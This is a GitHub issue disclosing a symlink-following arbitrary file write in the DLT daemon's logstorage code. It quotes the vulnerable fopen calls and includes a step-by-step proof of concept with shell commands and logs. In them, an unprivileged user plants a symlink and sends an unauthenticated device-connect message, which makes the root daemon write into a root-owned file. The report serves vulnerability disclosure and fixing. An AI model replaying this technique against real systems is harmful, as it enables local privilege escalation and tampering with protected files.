Skip to content

Improper Symlink Handling Leading to Arbitrary File Write #901

Description

@cryptcrack

Summary

The DLT daemon does not prevent symlink attacks when opening log files, allowing an unprivileged attacker to leverage the daemon's execution privileges to write arbitrary data to files accessible by the daemon. For example, when the daemon runs as root, this can result in unauthorized writes to root-owned files and local privilege escalation.

Vulnerable Code

File: src/offlinelogstorage/dlt_offline_logstorage_behavior.c

480: DLT_STATIC void dlt_logstorage_open_log_output_file(DltLogStorageFilterConfig *config,
481:                                                     const char *fpath,
482:                                                     const char *mode)
483: {
484:     FILE *file = fopen(fpath, mode);         /* follows symlinks; no O_NOFOLLOW protection */
485:     if (file == NULL) {
486:         dlt_vlog(LOG_DEBUG, "%s: could not open configuration file\n", __func__);
487:         return;
488:     }
....
581:     strcat(absolute_file_path, storage_path);   /* storage_path <- attacker mount_point   */
582:     strcat(absolute_file_path, file_name);      /* file_name    <- attacker File= value    */
584:     dlt_logstorage_open_log_output_file(config, absolute_file_path, "a");   /* append path  */
....
703:     config->log = fopen(absolute_file_path, "w+");   /* rotate/overwrite path (truncates the target) */

The absolute_file_path is derived from attacker-controlled inputs (<mount_point> and <File>...dlt) and is opened in append ("a", line 584) or overwrite ("w+", line 703) mode without O_NOFOLLOW protection or validation that the canonicalized path remains within the device storage area.

Root Cause

  1. Attacker controls the path inputs.
    mount_point is provided through an unauthenticated device-connect control message, and the file at <mount_point>/<File>.dlt resides on attacker-controlled storage. Planting a symlink at this location requires no access to the target file itself; an unprivileged attacker can redirect the daemon's write operation to files accessible by the daemon's execution user.

  2. The daemon follows attacker-controlled symlinks.
    fopen(fpath, …) resolves the symlink and opens the link target instead of creating a file within the intended device storage. No O_NOFOLLOW protection or resolved-path containment check is performed.

Reproduction

  1. Create an attacker-controlled DLT storage containing a symlink from <File>.dlt to a protected target file.
  2. Send an unauthenticated device-connect request specifying the attacker-controlled storage as mount_point.
  3. Emit a matching DLT log message.
  4. Verify that the target file is modified by the daemon's write operation.

Log

(1) the target the attacker must not be able to write (root-owned, mode 600)

root# stat -c 'owner=%U:%G mode=%a size=%s inode=%i' '/tmp/lslpe/rootonly/victim_canary.txt'
owner=root:root mode=600 size=37 inode=1717549

(2) attacker plants a symlink at the daemon's log path + writes a matching filter

nobody$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody$ ln -s '/tmp/lslpe/rootonly/victim_canary.txt' '/tmp/lslpe/attacker/mount/VLOG.dlt'
nobody$ ls -l '/tmp/lslpe/attacker/mount/VLOG.dlt'
lrwxrwxrwx 1 nobody nogroup 37 Jul 18 08:40 /tmp/lslpe/attacker/mount/VLOG.dlt -> /tmp/lslpe/rootonly/victim_canary.txt

(3) the attacker has NO direct access to the target — every attempt is denied

nobody$ echo pwned > '/tmp/lslpe/rootonly/victim_canary.txt'
sh: 1: cannot create /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
nobody$ cat '/tmp/lslpe/rootonly/victim_canary.txt'
cat: /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
nobody$ ls '/tmp/lslpe/rootonly'
ls: cannot open directory '/tmp/lslpe/rootonly': Permission denied

(4) the DLT daemon starts as root

root# /opt/dlt-build/src/daemon/dlt-daemon -c /tmp/lslpe/dlt-daemon.conf -p 3490 &
root# grep -E '^(Name|Uid):' /proc/5152/status
Name:   dlt-daemon
Uid:    0       0       0       0

(5) attacker triggers the daemon: unauthenticated TCP device-connect + one matching log

nobody$ /tmp/lslpe/send_connect 127.0.0.1 3490 /tmp/lslpe/attacker/mount
[connect] mount='/tmp/lslpe/attacker/mount' sent 1047 bytes over TCP 127.0.0.1:3490
nobody$ LD_LIBRARY_PATH=/tmp/lslpe /tmp/lslpe/dlt-example-user -A LSAP -C CT02 -l 4 -n 6 -d 200 PWNED_BY_NOBODY_container
Send 0 PWNED_BY_NOBODY_container
Client disconnected!
Send 1 PWNED_BY_NOBODY_container
Send 2 PWNED_BY_NOBODY_container
Log level changed of context CT02, LogLevel=4, TraceState=0 
Log level changed of context TS1, LogLevel=4, TraceState=0 
Log level changed of context TS2, LogLevel=4, TraceState=0 
Send 3 PWNED_BY_NOBODY_container
Send 4 PWNED_BY_NOBODY_container
Send 5 PWNED_BY_NOBODY_container

(6) result: the root-owned target was rewritten THROUGH the symlink

root# stat -c 'owner=%U:%G mode=%a size=%s inode=%i' '/tmp/lslpe/rootonly/victim_canary.txt'
owner=root:root mode=600 size=529 inode=1717549
     # before this run: size=37 inode=1717549  — same inode + still root:600 => the daemon rewrote the existing file
nobody$ cat '/tmp/lslpe/rootonly/victim_canary.txt'
cat: /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
root# grep -c 'PWNED_BY_NOBODY_container' '/tmp/lslpe/rootonly/victim_canary.txt'
6
root# grep -a  'PWNED_BY_NOBODY_container' '/tmp/lslpe/rootonly/victim_canary.txt'
DLT<[jI�
�ALSAPCT02#PWNED_BY_NOBODY_containerDLT<[j���ECUECU1=BECU1)
��ALSAPCT02#PWNED_BY_NOBODY_container       ECU1=BECU1)

Activity

  1. minminlittleshrimp commented on Oct 7, 2026

    @minminlittleshrimp
    Collaborator

    Hello @cryptcrack
    Could you kindly support review the PR for fixing this Issue #922 here? thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions